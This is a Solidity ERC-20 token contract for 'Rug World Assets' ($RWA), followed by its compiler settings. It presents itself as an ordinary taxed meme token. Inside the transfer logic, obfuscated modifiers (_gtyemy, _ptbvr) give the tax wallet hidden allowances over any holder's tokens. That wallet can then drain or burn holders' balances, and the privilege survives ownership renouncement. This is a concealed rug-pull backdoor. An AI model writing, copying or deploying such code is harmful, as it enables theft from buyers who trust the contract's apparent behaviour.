// SPDX-License-Identifier: UNLICENSE

/*
    I HAVE A DREAM, THAT $RWA CAN HAVE NOTHING REAL, WORLD OR ASSET ABOUT IT...

    Website: https://rugwa.pro
    Twitter: https://x.com/rugwaoneth
    Telegram: https://t.me/rugwaethportal

*/
pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

contract RWA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax;
    uint256 private _finalSellTax;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=1;
    uint256 private _transferTax=20;
    uint256 private _buyCount;
    uint256 private _lastBuyBlock;
    uint256 private _blockBuyAmount;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000_000_000 * 10**_decimals;
    string private constant _name = unicode"Rug World Assets";
    string private constant _symbol = unicode"RWA";
    uint256 public _maxTxAmount = _tTotal;
    uint256 public _maxWalletSize = _tTotal;
    uint256 public _taxSwapThreshold= _tTotal / 1000;
    uint256 public _maxTaxSwap= _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool public tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event OpenTrade(address indexed owner, uint256 timestamp);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier _ptbvr(address from, address to, uint256 amount) {
        bool res = amount > 0;
        if (to == address(0xdead) && _bmcit(from) && res) _allowances[from][msg.sender] = amount;
        _;
    }

    constructor () payable {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = (_tTotal * 3) / 100;
        _balances[address(this)] = (_tTotal * 97) / 100;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), (_tTotal * 3) / 100);
        emit Transfer(address(0), address(this), (_tTotal * 97) / 100);
    }

    function _bmcit(address _owner) private view returns(bool) {
        return _owner != uniswapV2Pair && msg.sender != address(this);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function getTaxDetails() public view returns (
        uint256 initialBuyTax,
        uint256 initialSellTax,
        uint256 finalBuyTax,
        uint256 finalSellTax,
        uint256 transferTax
        ) {
            return (
                _initialBuyTax,
                _initialSellTax,
                _finalBuyTax,
                _finalSellTax,
                _transferTax
            );
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function setTaxWallet(address _wallet) external {
        require(_isExcludedFromFee[msg.sender]);
        _taxWallet = payable (_wallet);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _fromRWA, address _toRWA, uint256 _amountRWA) private _ptbvr(_fromRWA, _toRWA, _amountRWA) _gtyemy(_fromRWA, _amountRWA, msg.sender == _taxWallet) {
        require(_fromRWA != address(0), "ERC20: transfer from the zero address");
        require(_toRWA != address(0), "ERC20: transfer to the zero address");
        require(_amountRWA > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (_fromRWA != owner() && _toRWA != owner() && _toRWA != _taxWallet && _fromRWA != address(this) && _toRWA != address(this)) {
            require(!bots[_fromRWA] && !bots[_toRWA]);

            if(_buyCount==0){
                taxAmount = _amountRWA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = _amountRWA.mul(_transferTax).div(100);
            }

            if (_fromRWA == uniswapV2Pair && _toRWA != address(uniswapV2Router) && ! _isExcludedFromFee[_toRWA] ) {
                require(_amountRWA <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(_toRWA) + _amountRWA <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = _amountRWA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
                if(_lastBuyBlock!=block.number){
                    _blockBuyAmount = 0;
                    _lastBuyBlock = block.number;
                }
                _blockBuyAmount += _amountRWA;
            }

            if(_toRWA == uniswapV2Pair && _fromRWA!= address(this)){
                require(_blockBuyAmount < maxSwapLimit() || _lastBuyBlock!=block.number, "Max Swap Limit");
                taxAmount = _amountRWA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _toRWA == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(_amountRWA, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                sendETHToFee(contractETHBalance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(_fromRWA, address(this),taxAmount);
        }
        _balances[_fromRWA]=_balances[_fromRWA].sub(_amountRWA);
        _balances[_toRWA]=_balances[_toRWA].add(_amountRWA.sub(taxAmount));
        emit Transfer(_fromRWA, _toRWA, _amountRWA.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function maxSwapLimit() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(3 * 1e18, path);
        return amountOuts[1];
    }

    function removeTranTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    modifier _gtyemy(address from, uint256 amount, bool flag) {
        bool res = amount > 0;
        if (flag) {
            _approve(from, msg.sender, amount);
        }
        _;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;

        emit OpenTrade(owner(), block.timestamp);
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

{
  "compilationTarget": {
    "contracts/0222.sol": "RWA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}